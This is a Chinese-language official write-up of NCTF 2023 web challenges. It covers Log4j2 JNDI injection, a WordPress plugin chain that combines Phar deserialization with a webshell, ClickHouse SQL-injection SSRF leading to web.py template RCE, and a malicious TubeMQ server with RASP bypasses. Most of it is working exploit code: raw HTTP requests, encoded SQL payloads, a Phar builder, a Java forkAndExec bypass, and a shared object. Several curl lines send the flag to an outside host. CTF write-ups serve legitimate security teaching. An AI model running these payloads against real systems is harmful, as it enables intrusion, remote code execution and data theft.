NCTF 2023 Web Official Writeup
这个其实是之前研究 Log4j2 (CVE-2021-44228) 时想到的: SpringBoot 在默认配置下如何触发 Log4j2 JNDI RCE
默认配置是指代码仅仅使用了 Log4j2 的依赖, 而并没有设置其它任何东西 (例如自己写一个 Controller 然后将参数传入 logger.xxx 方法)
核心思路是 如何构造一个畸形的 HTTP 数据包使得 SpringBoot 控制台报错 , 简单 fuzz 一下就行
一个思路是 Accept 头, 如果 mine type 类型不对控制台会调用 logger 输出日志
logging-web-1 | 2023-12-24 09:15:41.220 WARN 7 --- [nio-8080-exec-2] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpMediaTypeNotAcceptableException: Could not parse 'Accept' header [123]: Invalid mime type "123": does not contain '/']
另外还有 Host 头, 但是只能用一次, 第二次往后就不能再打印日志了
其实一些扫描器黑盒也能直接扫出来 (例如 nuclei)
[CVE-2021-44228] [http] [critical] http://124.71.184.68:8011/ [accept,25db884fff4b]
后续就是常规的 JNDI 注入
https://github.com/WhiteHSBG/JNDIExploit
https://github.com/welk1n/JNDI-Injection-Exploit
本来想当签到题的, 但是比赛期间一直没人做出来就放了些 hint
思路来源于前段时间的 WordPress Core Gadget, 这条链的入口点是
__toString
方法
https://wpscan.com/blog/finding-a-rce-gadget-chain-in-wordpress-core/
后面看了下 phpggc 发现 6.4.0+ 更新了第二条链, 但是入口点是
__destruct
方法
https://github.com/ambionics/phpggc/blob/master/gadgetchains/WordPress/RCE/2/chain.php
因为 WordPress 自身几乎很少出现过高危漏洞, 所以实战中针对 WordPress 站点的渗透一般都是 第三方主题和插件 , 于是就找了几个有意思的插件, 配合第二条链的 Phar 反序列化 组合利用 实现 RCE
比较蛋疼的是出题的时候 WordPress 的最新版本还是 6.4.1, 但是比赛开始前几天官方放出了 6.4.2 版本修复了第二条链的反序列化, 所以其实并不是 latest (
本来想作为纯黑盒让选手使用 wpscan 收集信息的, 但是由于靶机的限制最后还是给出了 wpscan 的扫描结果
wpscan --url http://127.0.0.1:8088/
WordPress 版本 6.4.1
Drag and Drop Multiple File Upload 插件, 版本 1.3.6.2, 存在存储型 XSS, 本质是可以未授权上传图片
All-in-One Video Gallery Plugin 插件, 版本 2.6.0, 存在未授权任意文件下载 / SSRF
上传图片 -> 上传 Phar
任意文件下载 / SSRF -> 触发 Phar 反序列化
https://wpscan.com/vulnerability/1b849957-eaca-47ea-8f84-23a3a98cc8de/
https://wpscan.com/vulnerability/852c257c-929a-4e4e-b85e-064f8dadd994/
利用 phpggc 的 WordPress/RCE2 Gadget 构造 Phar
./phpggc WordPress/RCE2 system "echo '<?=eval(\$_POST[1]);?>' > /var/www/html/shell.php" -p phar -o ~/payload.phar
当然手动构造也行
<?php
namespace
class WP_HTML_Token
public $bookmark_name;
public $on_destroy;
public function __construct($bookmark_name, $on_destroy)
$this->bookmark_name = $bookmark_name;
$this->on_destroy = $on_destroy;
$a = new WP_HTML_Token('echo \'<?=eval($_POST[1]);?>\' > /var/www/html/shell.php', 'system');
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89A<?php XXX __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
因为部分版本的 burp 右键 Paste from file 功能存在一些编码问题, 会导致最终上传的二进制数据格式错误, 所以最好是本地构造一个 upload.html 浏览器选择文件然后抓上传包, 或者用 Python 写个脚本, 或者使用 Yakit
下文以 Yakit 为例
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:8012
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161
Content-Length: 657
Connection: close
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="size_limit"
10485760
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="action"
dnd_codedropz_upload
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="type"
click
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="upload-file"; filename="test.jpg"
Content-Type: image/jpeg
{{file(/Users/exp10it/payload.phar)}}
-----------------------------92633278134516118923780781161--
触发反序列化
GET /index.php/video/?dl={{base64(phar:///var/www/html/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/test.jpg/test.txt)}} HTTP/1.1
Host: 127.0.0.1:8012
Connection: close
注意 phar url 的结尾必须加上 /test.txt
, 因为在构造 phar 文件的时候执行的是 $phar->addFromString("test.txt", "test");
, 这里的路径需要与代码中的 test.txt 对应, 否则网站会一直卡住
连上 webshell 之后查找可用的 SUID 命令
find / -user root -perm -4000 -print 2>/dev/null
使用 date 命令读取 flag
date -f /flag
house of click
思路来源于之前某次挖洞的时候偶然了解到 ClickHouse 这个数据库, 功能特性很强大, 可以读写文件/执行脚本/连接外部数据库/发起 HTTP 请求, 不过由于数据库本身的限制不太方便直接 RCE, 所以出了一道 SSRF 的题目
核心思路:
nginx + gunicorn 路径绕过
ClickHouse SQL 盲注打 SSRF
web.py 上传时的目录穿越 + Templetor SSTI 实现 RCE
首先是路径绕过, 这个网上应该能搜到, Google 第一篇就是
https://www.google.com/search?q=nginx+%2B+gunicorn+%E7%BB%95%E8%BF%87
https://mp.weixin.qq.com/s/yDIMgXltVLNfslVGg9lt4g
POST /query<TAB>HTTP/1.1/../../api/ping HTTP/1.1
然后是 SSRF, 翻翻 ClickHouse 的官方文档就能发现有个 url 函数
https://clickhouse.com/docs/en/sql-reference/table-functions/url
不过发送 POST 请求上传文件的话得用 insert, 但是这里的 SQL 注入无法堆叠
再翻翻文档可以发现 ClickHouse 有个 HTTP Interface, 通过它可以实现 GET 请求执行 insert 语句
所以得先 SSRF ClickHouse 自身的 HTTP Interface, 然后再 SSRF 到 backend
id=1 AND (SELECT * FROM url('http://default:default@db:8123/?query=<SQL>', 'TabSeparatedRaw', 'x String'))
后面需要先 select 拿到 token, 外面再套一个 url 函数将 token 编码后外带, 然后再 insert 发送 POST 请求上传文件到 backend, 当然也可以直接在 X-Access-Token
头里面写一个子查询
backend /api/upload 存在目录穿越
files = web.input(myfile={})
if 'myfile' in files:
filepath = os.path.join('upload/', files.myfile.filename)
if (os.path.isfile(filepath)):
return 'error'
with open(filepath, 'wb') as f:
f.write(files.myfile.file.read())
Index 类特地留了一个 POST 方法用于 render 其它模版, 那么就可以通过目录穿越将文件上传至 templates 目录, 然后 render 这个模版, 实现 SSTI
def POST(self):
data = web.input(name='index')
return render.__getattr__(data.name)()
SSTI 执行命令
https://webpy.org/docs/0.3/templetor.zh-cn
$code:
__import__('os').system('curl http://host.docker.internal:5555/?flag=`/readflag | base64`')
SQL 语句
-- get token
SELECT
* FROM url('http://host.docker.internal:4444/?a='||hex((select * FROM url('http://backend:8001/api/token', 'TabSeparatedRaw', 'x String'))), 'TabSeparatedRaw', 'x String');
-- ssti to rce
INSERT INTO FUNCTION url('http://backend:8001/api/upload', 'TabSeparatedRaw', 'x String', headers('Content-Type'='multipart/form-data; boundary=----test', 'X-Access-Token'='06a181b5474d020c2237cea4335ee6fd')) VALUES ('------test\r\nContent-Disposition: form-data; name="myfile"; filename="../templates/test.html"\r\nContent-Type: text/plain\r\n\r\n$code:\r\n __import__(\'os\').system(\'curl http://host.docker.internal:5555/?flag=`/readflag | base64`\')\r\n------test--');
然后通过 SSRF HTTP Interface 执行 insert 语句, 注意 urlencode
-- get token
id=1 AND (SELECT * FROM url('http://default:default@db:8123/?query=%2553%2545%254c%2545%2543%2554%2520%252a%2520%2546%2552%254f%254d%2520%2575%2572%256c%2528%2527%2568%2574%2574%2570%253a%252f%252f%2568%256f%2573%2574%252e%2564%256f%2563%256b%2565%2572%252e%2569%256e%2574%2565%2572%256e%2561%256c%253a%2534%2534%2534%2534%252f%253f%2561%253d%2527%257c%257c%2568%2565%2578%2528%2528%2573%2565%256c%2565%2563%2574%2520%252a%2520%2546%2552%254f%254d%2520%2575%2572%256c%2528%2527%2568%2574%2574%2570%253a%252f%252f%2562%2561%2563%256b%2565%256e%2564%253a%2538%2530%2530%2531%252f%2561%2570%2569%252f%2574%256f%256b%2565%256e%2527%252c%2520%2527%2554%2561%2562%2553%2565%2570%2561%2572%2561%2574%2565%2564%2552%2561%2577%2527%252c%2520%2527%2578%2520%2553%2574%2572%2569%256e%2567%2527%2529%2529%2529%252c%2520%2527%2554%2561%2562%2553%2565%2570%2561%2572%2561%2574%2565%2564%2552%2561%2577%2527%252c%2520%2527%2578%2520%2553%2574%2572%2569%256e%2567%2527%2529%253b', 'TabSeparatedRaw', 'x String'))
-- ssti to rce
id=1 AND (SELECT * FROM url('http://default:default@db:8123/?query=%2549%254e%2553%2545%2552%2554%2520%2549%254e%2554%254f%2520%2546%2555%254e%2543%2554%2549%254f%254e%2520%2575%2572%256c%2528%2527%2568%2574%2574%2570%253a%252f%252f%2562%2561%2563%256b%2565%256e%2564%253a%2538%2530%2530%2531%252f%2561%2570%2569%252f%2575%2570%256c%256f%2561%2564%2527%252c%2520%2527%2554%2561%2562%2553%2565%2570%2561%2572%2561%2574%2565%2564%2552%2561%2577%2527%252c%2520%2527%2578%2520%2553%2574%2572%2569%256e%2567%2527%252c%2520%2568%2565%2561%2564%2565%2572%2573%2528%2527%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%2527%253d%2527%256d%2575%256c%2574%2569%2570%2561%2572%2574%252f%2566%256f%2572%256d%252d%2564%2561%2574%2561%253b%2520%2562%256f%2575%256e%2564%2561%2572%2579%253d%252d%252d%252d%252d%2574%2565%2573%2574%2527%252c%2520%2527%2558%252d%2541%2563%2563%2565%2573%2573%252d%2554%256f%256b%2565%256e%2527%253d%2527%2530%2536%2561%2531%2538%2531%2562%2535%2534%2537%2534%2564%2530%2532%2530%2563%2532%2532%2533%2537%2563%2565%2561%2534%2533%2533%2535%2565%2565%2536%2566%2564%2527%2529%2529%2520%2556%2541%254c%2555%2545%2553%2520%2528%2527%252d%252d%252d%252d%252d%252d%2574%2565%2573%2574%255c%2572%255c%256e%2543%256f%256e%2574%2565%256e%2574%252d%2544%2569%2573%2570%256f%2573%2569%2574%2569%256f%256e%253a%2520%2566%256f%2572%256d%252d%2564%2561%2574%2561%253b%2520%256e%2561%256d%2565%253d%2522%256d%2579%2566%2569%256c%2565%2522%253b%2520%2566%2569%256c%2565%256e%2561%256d%2565%253d%2522%252e%252e%252f%2574%2565%256d%2570%256c%2561%2574%2565%2573%252f%2574%2565%2573%2574%252e%2568%2574%256d%256c%2522%255c%2572%255c%256e%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%253a%2520%2574%2565%2578%2574%252f%2570%256c%2561%2569%256e%255c%2572%255c%256e%255c%2572%255c%256e%2524%2563%256f%2564%2565%253a%255c%2572%255c%256e%2520%2520%2520%2520%255f%255f%2569%256d%2570%256f%2572%2574%255f%255f%2528%255c%2527%256f%2573%255c%2527%2529%252e%2573%2579%2573%2574%2565%256d%2528%255c%2527%2563%2575%2572%256c%2520%2568%2574%2574%2570%253a%252f%252f%2568%256f%2573%2574%252e%2564%256f%2563%256b%2565%2572%252e%2569%256e%2574%2565%2572%256e%2561%256c%253a%2535%2535%2535%2535%252f%253f%2566%256c%2561%2567%253d%2560%252f%2572%2565%2561%2564%2566%256c%2561%2567%2520%257c%2520%2562%2561%2573%2565%2536%2534%2560%255c%2527%2529%255c%2572%255c%256e%252d%252d%252d%252d%252d%252d%2574%2565%2573%2574%252d%252d%2527%2529%253b', 'TabSeparatedRaw', 'x String'))
最后 render test.html 实现 RCE
POST /<TAB>HTTP/1.1/../../api/ping HTTP/1.1
Host: 127.0.0.1:8013
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
name=test
当然这个 POST 上传文件的 SSRF 其实是一种极特殊的场景, 因为对于以上 SQL 语句, ClickHouse 会携带一个 Content-Type: text/tab-separated-values; charset=UTF-8
头, 但是自己增加的 HTTP 头永远是在后面的, 例如:
POST /api/upload HTTP/1.1
Host: host.docker.internal
Transfer-Encoding: chunked
Content-Type: text/tab-separated-values; charset=UTF-8
Content-Type: multipart/form-data; boundary=----test
X-Access-Token: 06a181b5474d020c2237cea4335ee6fd
Connection: Close
------test
Content-Disposition: form-data; name="myfile"; filename="../templates/test.html"
Content-Type: text/plain
$code:
__import__('os').system('curl http://host.docker.internal:5555/?flag=`/readflag | base64`')
------test--
对于大多数中间件, 例如 Nginx, Express, Flask 都会选择只使用第一个 Content-Type, 对于 Gin, 则会将多个 Content-Type 放入一个数组, 而 web.py 会使用第二个 Content-Type, 这也是为什么 backend 会选择 web.py 这个目前不是很主流的 Web 框架 (
因为 ClickHouse 发送的 HTTP POST 请求永远都会使用 chunked 编码, 但在测试的时候发现 web.py 自身对 chunked 编码的解析好像并不是很好, 所以在外面加了一层 Gunicorn, 也刚好可以引出路径绕过这个点, 对于路径绕过的更多技巧可以参考陈师的 Demo: https://github.com/CHYbeta/OddProxyDemo
最后, 这道题是 11 月份出完的, 然后 12 月份打 0CTF/TCTF 2023 的时候发现它们也出了一道 ClickHouse 的题目,思路是通过 ClickHouse JDBC Bridge (需另外部署) 任意执行 JavaScript 实现 RCE, 然后打 Hive HDFS UDF RCE, 也挺有意思的, 有兴趣可以参考: https://github.com/zsxsoft/my-ctf-challenges/tree/master/0ctf2023/olapinfra
EvilMQ
思路来源于前段时间的 ActiveMQ RCE (CVE-2023-46604), 后面 GitHub 全网搜了下 Apache 的其它项目发现这个 TubeMQ 也存在类似的问题, 不过这个是 Client 端 RCE, 需要自己构造一个 Evil Server
当然 Dubbo 也有, 但是已经被修了 (CVE-2023-29234), 有兴趣可以参考: https://xz.aliyun.com/t/13187
ActiveMQ RCE 分析: https://exp10it.io/2023/10/Apache ActiveMQ (版本 < 5.18.3) RCE 分析/
项目地址: https://github.com/apache/inlong/tree/master/inlong-tubemq
题目给的是 1.9.0 版本, 漏洞点位于 org.apache.inlong.tubemq.corerpc.netty.NettyClient.NettyClientHandler#channelRead
public void channelRead(ChannelHandlerContext ctx, Object e) {
if (e instanceof RpcDataPack) {
RpcDataPack dataPack = (RpcDataPack)e;
Callback callback = (Callback)NettyClient.this.requests.remove(dataPack.getSerialNo());
if (callback != null) {
Timeout timeout = (Timeout)NettyClient.this.timeouts.remove(dataPack.getSerialNo());
if (timeout != null) {
timeout.cancel();
ResponseWrapper responseWrapper;
try {
ByteBufferInputStream in = new ByteBufferInputStream(dataPack.getDataLst());
RPCProtos.RpcConnHeader connHeader = RpcConnHeader.parseDelimitedFrom(in);
if (connHeader == null) {
throw new EOFException();
RPCProtos.ResponseHeader rpcResponse = ResponseHeader.parseDelimitedFrom(in);
if (rpcResponse == null) {
throw new EOFException();
RPCProtos.ResponseHeader.Status status = rpcResponse.getStatus();
if (status == Status
.SUCCESS) {
RPCProtos.RspResponseBody pbRpcResponse = RspResponseBody.parseDelimitedFrom(in);
if (pbRpcResponse == null) {
throw new NetworkException("Not found PBRpcResponse data!");
Object responseResult = PbEnDecoder.pbDecode(false, pbRpcResponse.getMethod(), pbRpcResponse.getData().toByteArray());
responseWrapper = new ResponseWrapper(connHeader.getFlag(), dataPack.getSerialNo(), rpcResponse.getServiceType(), rpcResponse.getProtocolVer(), pbRpcResponse.getMethod(), responseResult);
} else {
RPCProtos.RspExceptionBody exceptionResponse = RspExceptionBody.parseDelimitedFrom(in);
if (exceptionResponse == null) {
throw new NetworkException("Not found RpcException data!");
String exceptionName = exceptionResponse.getExceptionName();
exceptionName = MixUtils.replaceClassNamePrefix(exceptionName, false, rpcResponse.getProtocolVer());
responseWrapper = new ResponseWrapper(connHeader.getFlag(), dataPack.getSerialNo(), rpcResponse.getServiceType(), rpcResponse.getProtocolVer(), exceptionName, exceptionResponse.getStackTrace());
if (!responseWrapper.isSuccess()) {
Throwable remote = MixUtils.unwrapException((new StringBuilder(512)).append(responseWrapper.getErrMsg()).append("#").append(responseWrapper.getStackTrace()).toString());
if (IOException.class.isAssignableFrom(remote.getClass())) {
NettyClient.this.close();
callback.handleResult(responseWrapper);
} catch (Throwable var13) {
responseWrapper = new ResponseWrapper(-2, dataPack.getSerialNo(), -2, -2, -2, var13);
if (var13 instanceof EOFException) {
NettyClient.this.close();
callback.handleResult(responseWrapper);
} else if (NettyClient.logger.isDebugEnabled()) {
NettyClient.logger.debug("Missing previous call info, maybe it has been timeout.");
org.apache.inlong.tubemq.corerpc.utils.MixUtils#unwrapException
public static Throwable unwrapException(String exceptionMsg) {
try {
String[] strExceptionMsgSet = exceptionMsg.split("#");
if (strExceptionMsgSet.length > 0 && !TStringUtils.isBlank(strExceptionMsgSet[0])) {
Class clazz = Class.forName(strExceptionMsgSet[0]);
if (clazz != null) {
Constructor<?> ctor = clazz.getConstructor(String.class);
if (ctor != null) {
if (strExceptionMsgSet.length == 1) {
return (Throwable)ctor.newInstance();
if (strExceptionMsgSet[0].equalsIgnoreCase("java.lang.NullPointerException")) {
return new NullPointerException("remote return null");
if (strExceptionMsgSet[1] != null && !TStringUtils.isBlank(strExceptionMsgSet[1]) && !strExceptionMsgSet[1].equalsIgnoreCase("null")) {
return (Throwable)ctor.newInstance(strExceptionMsgSet[1]);
return (Throwable)ctor.newInstance("Exception with null StackTrace content");
} catch (Throwable var4) {
return new RemoteException(exceptionMsg);
可以调用任意类的包含一个 String 参数的构造方法, 一个思路是利用 org.springframework.context.support.ClassPathXmlApplicationContext
加载 Spring XML 配置文件实现 RCE
编写恶意 TubeMQ Server
org.apache.inlong.tubemq.corerpc.netty.NettyRpcServer.NettyServerHandler#channelRead
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) {
logger.debug("server message receive!");
if (!(msg instanceof RpcDataPack)) {
return;
logger.debug("server RpcDataPack message receive!");
RpcDataPack dataPack = (RpcDataPack) msg;
RPCProtos.RpcConnHeader connHeader;
RPCProtos.RequestHeader requestHeader;
RPCProtos.RequestBody rpcRequestBody
;
int rmtVersion = RpcProtocol.RPC_PROTOCOL_VERSION;
Channel channel = ctx.channel();
if (channel == null) {
return;
String rmtaddrIp = getRemoteAddressIP(channel);
try {
if (!isServiceStarted()) {
throw new ServerNotReadyException("RpcServer is not running yet");
List<ByteBuffer> req = dataPack.getDataLst();
ByteBufferInputStream dis = new ByteBufferInputStream(req);
connHeader = RPCProtos.RpcConnHeader.parseDelimitedFrom(dis);
requestHeader = RPCProtos.RequestHeader.parseDelimitedFrom(dis);
rmtVersion = requestHeader.getProtocolVer();
rpcRequestBody = RPCProtos.RequestBody.parseDelimitedFrom(dis);
} catch (Throwable e1) {
if (!(e1 instanceof ServerNotReadyException)) {
if (rmtaddrIp != null) {
AtomicLong count = errParseAddrMap.get(rmtaddrIp);
if (count == null) {
AtomicLong tmpCount = new AtomicLong(0);
count = errParseAddrMap.putIfAbsent(rmtaddrIp, tmpCount);
if (count == null) {
count = tmpCount;
count.incrementAndGet();
long befTime = lastParseTime.get();
long curTime = System.currentTimeMillis();
if (curTime - befTime > 180000) {
if (lastParseTime.compareAndSet(befTime, System.currentTimeMillis())) {
logger.warn(new StringBuilder(512)
.append("[Abnormal Visit] Abnormal Message Content visit list is :")
.append(errParseAddrMap).toString());
errParseAddrMap.clear();
List<ByteBuffer> res =
prepareResponse(null, rmtVersion, RPCProtos.ResponseHeader.Status.FATAL,
e1.getClass().getName(), new StringBuilder(512)
.append("IPC server unable to read call parameters:")
.append(e1.getMessage()).toString());
if (res != null) {
dataPack.setDataLst(res);
channel.writeAndFlush(dataPack);
return;
try {
throw new Throwable("test");
// RequestWrapper requestWrapper =
// new RequestWrapper(requestHeader.getServiceType(),
// this.protocolType, requestHeader.getProtocolVer(),
// connHeader.getFlag(), rpcRequestBody.getTimeout());
// requestWrapper.setMethodId(rpcRequestBody.getMethod());
// requestWrapper.setRequestData(PbEnDecoder.pbDecode(true,
// rpcRequestBody.getMethod(), rpcRequestBody.getRequest().toByteArray()));
// requestWrapper.setSerialNo(dataPack.getSerialNo());
// RequestContext context =
// new NettyRequestContext(requestWrapper, ctx, System.currentTimeMillis());
// protocols.get(this.protocolType).handleRequest(context, rmtaddrIp);
} catch (Throwable ee) {
// List<ByteBuffer> res =
// prepareResponse(null, rmtVersion, RPCProtos.ResponseHeader.Status.FATAL,
// ee.getClass().getName(), new StringBuilder(512)
// .append("IPC server handle request error :")
// .append(ee.getMessage()).toString());
List<ByteBuffer> res =
prepareResponse(null, rmtVersion, RPCProtos.ResponseHeader.Status.FATAL,
"org.springframework.context.support.ClassPathXmlApplicationContext",
"http://host.docker.internal:4444/poc.xml");
if (res != null) {
dataPack.setDataLst(res);
ctx.channel().writeAndFlush(dataPack);
return;
然后 SimpleRasp 拦截了 java.lang.UNIXProcess#forkAndExec
方法, 有两种方法绕过
第一种, 如果对 RASP 稍微有点了解的话就会知道一般 hook native 方法都会用到 java.lang.instrument.Instrumentation#setNativeMethodPrefix
https://www.jrasp.com/guide/technology/native_method.html
其原理是通过设置 prefix 来实现从 method 到 nativeImplementation 的动态解析
method(foo) -> nativeImplementation(foo)
method(wrapped_foo) -> nativeImplementation(foo)
method(wrapped_foo) -> nativeImplementation(wrapped_foo)
method(wrapped_foo) -> nativeImplementation(foo)
RASP 一般在实现时会先将 foo 这个 native 方法重命名为 wrapped_foo, 然后自己重新创建一个非 native 同名的 foo 方法, 在内部去调用真正的 wrapped_foo 方法
但是在能执行 Java 代码的环境中, 使用这种方式并不能真正的防御命令执行, 我们只需要调用添加了 prefix 的 wrapped_foo 方法 (在题目中为 RASP_forkAndExec) 即可绕过 RASP 实现命令执行
package com.example;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Evil {
public Evil() throws Exception {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField
.get(null);
Class clazz = Class.forName("java.lang.UNIXProcess");
Object obj = unsafe.allocateInstance(clazz);
String[] cmd = new String[] {"bash", "-c", "curl host.docker.internal:4444 -d \"`/readflag`\""};
byte[][] cmdArgs = new byte[cmd.length - 1][];
int size = cmdArgs.length;
for (int i = 0; i < cmdArgs.length; i++) {
cmdArgs[i] = cmd[i + 1].getBytes();
size += cmdArgs[i].length;
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : cmdArgs) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = clazz.getDeclaredField("launchMechanism");
Field helperpathField = clazz.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanism = launchMechanismField.get(obj);
byte[] helperpath = (byte[]) helperpathField.get(obj);
int ordinal = (int) launchMechanism.getClass().getMethod("ordinal").invoke(launchMechanism);
Method forkMethod = clazz.getDeclaredMethod("RASP_forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(obj, ordinal + 1, helperpath, toCString(cmd[0]), argBlock, cmdArgs.length, null, envc[0], null, std_fds, false);
public byte[] toCString(String s) {
if (s == null) {
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = (byte) 0;
return result;
第二种, RASP 并没有拦截 System.load
方法, 所以可以直接写一个 so 然后上传加载即可
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("curl host.docker.internal:4444 -d \"`/readflag`\"");
gcc -shared -fPIC exp.c -o exp.so
Java 代码
package com.example;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class Evil {
public Evil() throws Exception {
String data = "PAYLOAD";
String filename = "/tmp/evil.so";
Files.write(Paths.get(filename), Base64.getDecoder().decode(data));
System.load(filename);
最后拿到 class 字节码, 通过 Spring XML 配置文件调用 SPEL 表达式进行 defineClass
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="data" class="java.lang.String">
<constructor-arg><value>PAYLOAD</value></constructor-arg>
</bean>
<bean class="#{T(org.springframework.cglib.core.ReflectUtils).defineClass('com.example.Evil',T(org.springframework.util.Base64Utils).decodeFromString(data),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}"></bean>
</beans>
发起连接 (produce 或 consume 都行)
POST /produce HTTP/1.1
Host: 127.0.0.1:8014
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
masterHostAndPort=host.docker.internal:8715&topic=test&data=test